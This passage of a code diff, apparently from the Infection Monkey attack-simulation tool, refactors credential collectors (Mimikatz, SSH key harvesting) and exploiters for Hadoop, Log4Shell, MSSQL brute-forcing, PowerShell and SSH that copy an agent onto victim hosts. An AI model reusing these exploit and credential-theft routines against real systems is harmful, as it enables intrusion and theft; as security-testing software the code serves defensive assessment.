"sha256:267e3f78697a6c00c689c03db4876dd1efdfea2f251a5ad6555e82a26847b4ac",
"sha256:2efae9db7a8c05ad5547d522e7dbe62c83d838d3906a3716d1478b6c1d61388d",
"sha256:370788a63915e82fd6f212865a596a0fefcbb7d408bbbb13dea723d971ed8bdc",
"sha256:39e21ceb7388e4bb37f4c679d72707ed46c2fbf2a5609b8b8ebc4b067d977df2",
"sha256:3e123d878ba170397916557d31c8f589951e353cc95fb7f24f6bb69adc1a8a97",
"sha256:4879da6c9b73443f97e731b617184a596ac1235fe91f98d279a7af36c796da35",
"sha256:4e964b4ff86550a7a7d56345c7864b18f403f5bd7380edf44a3c1fb4ee7ac6c6",
"sha256:639c5f0b21776605dd6c9dbe592d5228f021404dafd377e2b7ac046b0349b1a1",
"sha256:669dd0c4167f6f2cd9f57041e03c3c2ebf9063d0757dc89f79ba1daa2bfca9d4",
"sha256:6778e1b2f81dfc7bc58e4b259363b83d2e509a65198e85d5700dfae4c6c8ff1c",
"sha256:683407d92dc953c8a7347119596f0b0e6c55eb98ebebd9b23437501b28dcbb8e",
"sha256:79b1e0869db7c830ba6a981d58711c88b6677506e648496b1f64ac7d15633aec",
"sha256:7d5d014b7daa8b0bf2eaef684295acae12b036d79f54178b92a2b6a56f92278f",
"sha256:98f80dee3c03455e92796b58b98ff6ca0b2a6f652120c263efdba4d6c5e58f72",
"sha256:a94d55d142c9265f4ea46fab70977a1944ecae359ae867397757d836ea5a3f47",
"sha256:a9916d2bb8865f973824fb47436fa45e1ebf2efd920f2b9f99342cb7fab93f72",
"sha256:c542eeda69212fa10a7ada75e668876fdec5f856cd3d06829e6aa64ad17c8dfe",
"sha256:cf4afcfac006ece570e32d6fa90ab74a17245b83dfd6655a6f68568098345ff6",
"sha256:ebd9d7f80ccf7a82ac5f88c521115cc55d84e35bf8b446fcd7836eb6b98929a3",
"sha256:ed855bbe3eb3715fca349c80174cfcfd699c2f9de574d40527b8429acae23a66"
],
"markers": "python_version < '3.8'",
"version": "==1.5.4"
},
"typing-extensions": {
"hashes": [
"sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
"sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
],
"index": "pypi",
"version": "==4.3.0"
}
}
}

View File

@ -79,8 +79,8 @@ class BatchingAgentEventForwarder:
try:
logger.debug(f"Sending Agent events to Island: {events}")
self._island_api_client.send_events(events)
except Exception:
logger.exception("Exception caught when connecting to the Island")
except Exception as err:
logger.warning(f"Exception caught when connecting to the Island: {err}")
def _send_remaining_events(self):
self._send_events_to_island()

View File

@ -1,5 +0,0 @@
from .notify_relay_on_propagation import notify_relay_on_propagation
from .agent_event_forwarder import AgentEventForwarder
from .add_stolen_credentials_to_repository import (
add_stolen_credentials_to_propagation_credentials_repository,
)

View File

@ -1,31 +0,0 @@
import logging
from typing import Optional
from common.agent_events import PropagationEvent
from infection_monkey.network.relay import TCPRelay
logger = logging.getLogger(__name__)
class notify_relay_on_propagation:
"""
Notifies a TCPRelay of potential relay users if propagation is successful
"""
def __init__(self, tcp_relay: Optional[TCPRelay]):
"""
:param tcp_relay: A TCPRelay to notify on successful propagation
"""
self._tcp_relay = tcp_relay
def __call__(self, event: PropagationEvent):
"""
Notify a TCPRelay of potential relay users if propagation is successful
:param event: A `PropagationEvent`
"""
if self._tcp_relay is None:
return
if event.success:
self._tcp_relay.add_potential_user(event.target)

View File

@ -7,8 +7,7 @@ import requests
from urllib3 import disable_warnings
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import get_my_ip_addresses_legacy
from common.types import SocketAddress
from common.network.network_utils import get_my_ip_addresses
from infection_monkey.config import GUID
from infection_monkey.island_api_client import IIslandAPIClient
from infection_monkey.network.info import get_host_subnets
@ -25,7 +24,7 @@ class ControlClient:
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
control_client_object = None
def __init__(self, server_address: SocketAddress, island_api_client: IIslandAPIClient):
def __init__(self, server_address: str, island_api_client: IIslandAPIClient):
self.server_address = server_address
self._island_api_client = island_api_client
@ -40,7 +39,7 @@ class ControlClient:
monkey = {
"guid": GUID,
"hostname": hostname,
"ip_addresses": get_my_ip_addresses_legacy(),
"ip_addresses": get_my_ip_addresses(),
"networks": get_host_subnets(),
"description": " ".join(platform.uname()),
"parent": parent,
@ -56,6 +55,12 @@ class ControlClient:
)
def send_telemetry(self, telem_category, json_data: str):
if not self.server_address:
logger.error(
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
)
return
try:
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
requests.post( # noqa: DUO123
@ -68,6 +73,15 @@ class ControlClient:
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def send_log(self, log):
if not self.server_address:
return
try:
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
self._island_api_client.send_log(json.dumps(telemetry))
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def get_pba_file(self, filename):
try:
return self._island_api_client.get_pba_file(filename)

View File

@ -4,7 +4,6 @@ from typing import Sequence
from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, LMHash, NTHash, Password, Username
from common.event_queue import IAgentEventQueue
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
from infection_monkey.i_puppet import ICredentialCollector
from infection_monkey.model import USERNAME_PREFIX
from infection_monkey.utils.ids import get_agent_id
@ -16,6 +15,8 @@ logger = logging.getLogger(__name__)
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
MIMIKATZ_EVENT_TAGS = frozenset(
(
@ -27,8 +28,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
class MimikatzCredentialCollector(ICredentialCollector):
def __init__(self, agent_event_queue: IAgentEventQueue):
self._agent_event_queue = agent_event_queue
def __init__(self, event_queue: IAgentEventQueue):
self._event_queue = event_queue
def collect_credentials(self, options=None) -> Sequence[Credentials]:
logger.info("Attempting to collect windows credentials with pypykatz.")
@ -81,4 +82,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
stolen_credentials=collected_credentials,
)
self._agent_event_queue.publish(credentials_stolen_event)
self._event_queue.publish(credentials_stolen_event)

View File

@ -15,15 +15,13 @@ class SSHCredentialCollector(ICredentialCollector):
SSH keys credential collector
"""
def __init__(
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
):
def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
self._telemetry_messenger = telemetry_messenger
self._agent_event_queue = agent_event_queue
self._event_queue = event_queue
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
logger.info("Started scanning for SSH credentials")
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue)
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
logger.info("Finished scanning for SSH credentials")
return ssh_handler.to_credentials(ssh_info)

View File

@ -6,11 +6,6 @@ from typing import Dict, Iterable, Sequence
from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, SSHKeypair, Username
from common.event_queue import IAgentEventQueue
from common.tags import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
)
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
@ -22,6 +17,9 @@ logger = logging.getLogger(__name__)
DEFAULT_DIRS = ["/.ssh/", "/"]
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
SSH_COLLECTOR_EVENT_TAGS = frozenset(
(
@ -34,7 +32,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
def get_ssh_info(
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
) -> Iterable[Dict]:
# TODO: Remove this check when this is turned into a plugin.
if is_windows_os():
@ -44,7 +42,7 @@ def get_ssh_info(
return []
home_dirs = _get_home_dirs()
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue)
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
return ssh_info
@ -85,7 +83,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
def _get_ssh_files(
user_info: Iterable[Dict],
telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue,
event_queue: IAgentEventQueue,
) -> Iterable[Dict]:
for info in user_info:
path = info["home_dir"]
@ -127,7 +125,7 @@ def _get_ssh_files(
collected_credentials = to_credentials([info])
_publish_credentials_stolen_event(
collected_credentials, agent_event_queue
collected_credentials, event_queue
)
else:
continue
@ -172,7 +170,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
def _publish_credentials_stolen_event(
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue
collected_credentials: Credentials, event_queue: IAgentEventQueue
):
credentials_stolen_event = CredentialsStolenEvent(
source=get_agent_id(),
@ -180,4 +178,4 @@ def _publish_credentials_stolen_event(
stolen_credentials=collected_credentials,
)
agent_event_queue.publish(credentials_stolen_event)
event_queue.publish(credentials_stolen_event)

View File

@ -2,3 +2,6 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
from .aggregating_propagation_credentials_repository import (
AggregatingPropagationCredentialsRepository,
)
from .add_credentials_from_event import (
add_credentials_from_event_to_propagation_credentials_repository,
)

View File

@ -1,12 +1,13 @@
import logging
from common.agent_events import CredentialsStolenEvent
from infection_monkey.credential_repository import IPropagationCredentialsRepository
from . import IPropagationCredentialsRepository
logger = logging.getLogger(__name__)
class add_stolen_credentials_to_propagation_credentials_repository:
class add_credentials_from_event_to_propagation_credentials_repository:
def __init__(self, credentials_repository: IPropagationCredentialsRepository):
self._credentials_repository = credentials_repository

View File

@ -2,17 +2,13 @@ import logging
import threading
from abc import abstractmethod
from datetime import datetime
from ipaddress import IPv4Address
from time import time
from typing import Dict, Sequence, Tuple
from typing import Dict, Sequence
from common.agent_events import ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventQueue
from common.utils.exceptions import FailedExploitationError
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from infection_monkey.utils.ids import get_agent_id
from . import IAgentBinaryRepository
@ -25,16 +21,6 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self):
pass
@property
@abstractmethod
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
pass
@property
@abstractmethod
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
pass
def __init__(self):
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
@ -47,7 +33,7 @@ class HostExploiter:
self.exploit_attempts = []
self.host = None
self.telemetry_messenger = None
self.agent_event_queue = None
self.event_queue = None
self.options = {}
self.exploit_result = {}
self.servers = []
@ -70,13 +56,14 @@ class HostExploiter:
}
)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(
self,
host: VictimHost,
servers: Sequence[str],
current_depth: int,
telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue,
event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository,
options: Dict,
interrupt: threading.Event,
@ -85,7 +72,7 @@ class HostExploiter:
self.servers = servers
self.current_depth = current_depth
self.telemetry_messenger = telemetry_messenger
self.agent_event_queue = agent_event_queue
self.event_queue = event_queue
self.agent_binary_repository = agent_binary_repository
self.options = options
self.interrupt = interrupt
@ -138,39 +125,3 @@ class HostExploiter:
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
def _publish_exploitation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
exploitation_event = ExploitationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._EXPLOITER_TAGS),
)
self.agent_event_queue.publish(exploitation_event)
def _publish_propagation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
propagation_event = PropagationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._PROPAGATION_TAGS),
)
self.agent_event_queue.publish(propagation_event)

View File

@ -5,20 +5,13 @@
"""
import json
import logging
import posixpath
import random
import string
from time import time
import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
@ -30,10 +23,6 @@ from infection_monkey.model import (
)
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop"
@ -43,43 +32,39 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(HadoopExploiter, self).__init__()
def _exploit_host(self):
# Try to get potential urls
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
if not potential_urls:
self.exploit_result.error_message = (
f"No potential exploitable urls has been found for {self.host}"
)
# Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
try:
monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository
)
command = self._build_command(monkey_path_on_victim, http_path)
try:
for url in potential_urls:
if self.exploit(url, command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
break
command = self._build_command(monkey_path_on_victim, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return self.exploit_result
def exploit(self, url: str, command: str):
def exploit(self, url, command):
if self._is_interrupted():
self._set_interrupted()
return False
@ -88,8 +73,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
)
resp_dict = json.loads(resp.content)
app_id = resp_dict["application-id"]
resp = json.loads(resp.content)
app_id = resp["application-id"]
# Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux
@ -102,16 +87,10 @@ class HadoopExploiter(WebRCE):
self._set_interrupted()
return False
timestamp = time()
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
return resp.status_code == 202
def check_if_exploitable(self, url):
try:

View File

@ -4,11 +4,6 @@ from pathlib import PurePath
from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
from common.utils import Timer
from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH,
@ -31,26 +26,12 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
_EXPLOITER_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self) -> ExploiterResultData:
self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
@ -165,37 +146,24 @@ class Log4ShellExploiter(WebRCE):
f"on port {port}"
)
try:
timestamp = time.time()
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as err:
error_message = (
except Exception as ex:
logger.warning(
"An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {err}"
f"potential {exploit.service_name} service: {ex}"
)
logger.warning(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
# exception. Is that the desired behavior?
if self._wait_for_victim(timestamp):
if self._wait_for_victim():
self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name,
"port": port,
}
self.exploit_info["vulnerable_urls"].append(url)
def _wait_for_victim(self, timestamp: float) -> bool:
def _wait_for_victim(self) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back:
self._publish_exploitation_event(timestamp, True)
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
self._publish_propagation_event(success=victim_downloaded_agent)
else:
error_message = "Timed out while waiting for victim to download the java bytecode"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self._wait_for_victim_to_download_agent()
return victim_called_back
@ -208,20 +176,19 @@ class Log4ShellExploiter(WebRCE):
self.exploit_result.exploitation_success = True
return True
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
time.sleep(1)
logger.debug("Timed out while waiting for victim to download the java bytecode")
return False
def _wait_for_victim_to_download_agent(self) -> bool:
def _wait_for_victim_to_download_agent(self):
timer = Timer()
timer.set(LONG_REQUEST_TIMEOUT)
while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True
return True
break
# TODO: if the http server got an error we're waiting for nothing here
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
return False
time.sleep(1)

View File

@ -1,18 +1,12 @@
import logging
from pathlib import PureWindowsPath
from time import sleep, time
from typing import Iterable, Optional, Tuple
from time import sleep
from typing import Sequence, Tuple
import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -26,8 +20,6 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL"
@ -44,20 +36,13 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
)
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self):
super().__init__()
self.cursor = None
self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
agent_path_on_victim = get_agent_dst_path(self.host)
# Brute force to get connection
creds = generate_identity_secret_pairs(
@ -67,18 +52,16 @@ class MSSQLExploiter(HostExploiter):
try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError:
error_message = (
logger.info(
f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful"
)
logger.error(error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
timestamp = time()
try:
self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim)
@ -89,17 +72,15 @@ class MSSQLExploiter(HostExploiter):
)
logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True
return self.exploit_result
def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
) -> pymssql.Cursor:
"""
Starts the brute force connection attempts and if needed then init the payload process.
@ -125,7 +106,6 @@ class MSSQLExploiter(HostExploiter):
)
for user, password in credentials_iterator:
timestamp = time()
try:
# Core steps
# Trying to connect
@ -142,14 +122,14 @@ class MSSQLExploiter(HostExploiter):
)
self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self._report_login_attempt(timestamp, True, user, password)
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
return cursor
except pymssql.OperationalError as err:
error_message = f"Connection to MSSQL failed: {err}"
logger.info(error_message)
self._report_login_attempt(timestamp, False, user, password, error_message)
logger.info(f"Connection to MSSQL failed: {err}")
self.report_login_attempt(False, user, password)
# Combo didn't work, hopping to the next one
pass
logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, "
@ -159,23 +139,14 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
)
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread)
MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server(
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository
)
@ -208,7 +179,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, str(agent_path_on_victim)
self.servers, self.current_depth + 1, agent_path_on_victim
)
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -1,14 +1,8 @@
import logging
from pathlib import Path, PurePath
from time import time
from typing import List, Optional
from common import OperatingSystem
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
from infection_monkey.exploit.powershell_utils.credentials import (
@ -27,7 +21,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
class RemoteAgentCopyError(Exception):
@ -41,17 +34,6 @@ class RemoteAgentExecutionError(Exception):
class PowerShellExploiter(HostExploiter):
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
_EXPLOITER_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self):
super().__init__()
self._client = None
@ -86,21 +68,12 @@ class PowerShellExploiter(HostExploiter):
)
return self.exploit_result
execute_agent_timestamp = time()
try:
self._execute_monkey_agent_on_victim()
except Exception as err:
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
self._publish_propagation_event(
time=execute_agent_timestamp,
success=False,
error_message=self.exploit_result.error_message,
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
self.exploit_result.propagation_success = True
self._publish_propagation_event(time=execute_agent_timestamp, success=True)
self.exploit_result.propagation_success = True
except Exception as ex:
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
return self.exploit_result
@ -121,27 +94,21 @@ class PowerShellExploiter(HostExploiter):
try:
client = PowerShellClient(self.host.ip_addr, creds, opts)
connect_timestamp = time()
client.connect()
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._publish_exploitation_event(time=connect_timestamp, success=True)
self.exploit_result.exploitation_success = True
self._report_login_attempt(True, creds)
return client
except Exception as ex:
error_message = (
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
logger.debug(error_message)
self._publish_exploitation_event(
time=connect_timestamp, success=False, error_message=error_message
)
self._report_login_attempt(False, creds)
return None

View File

@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED:
return None
plaintext_secret = str(get_plaintext(credentials.secret))
plaintext_secret = get_plaintext(credentials.secret)
if credentials.secret_type == SecretType.PASSWORD:
return plaintext_secret

View File

@ -1,27 +1,15 @@
import io
import logging
from ipaddress import IPv4Address
from pathlib import PurePath
from time import time
from typing import Optional
import paramiko
from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData
@ -31,7 +19,6 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
@ -43,15 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(SSHExploiter, self).__init__()
@ -63,7 +46,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset()
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -87,8 +70,6 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey)
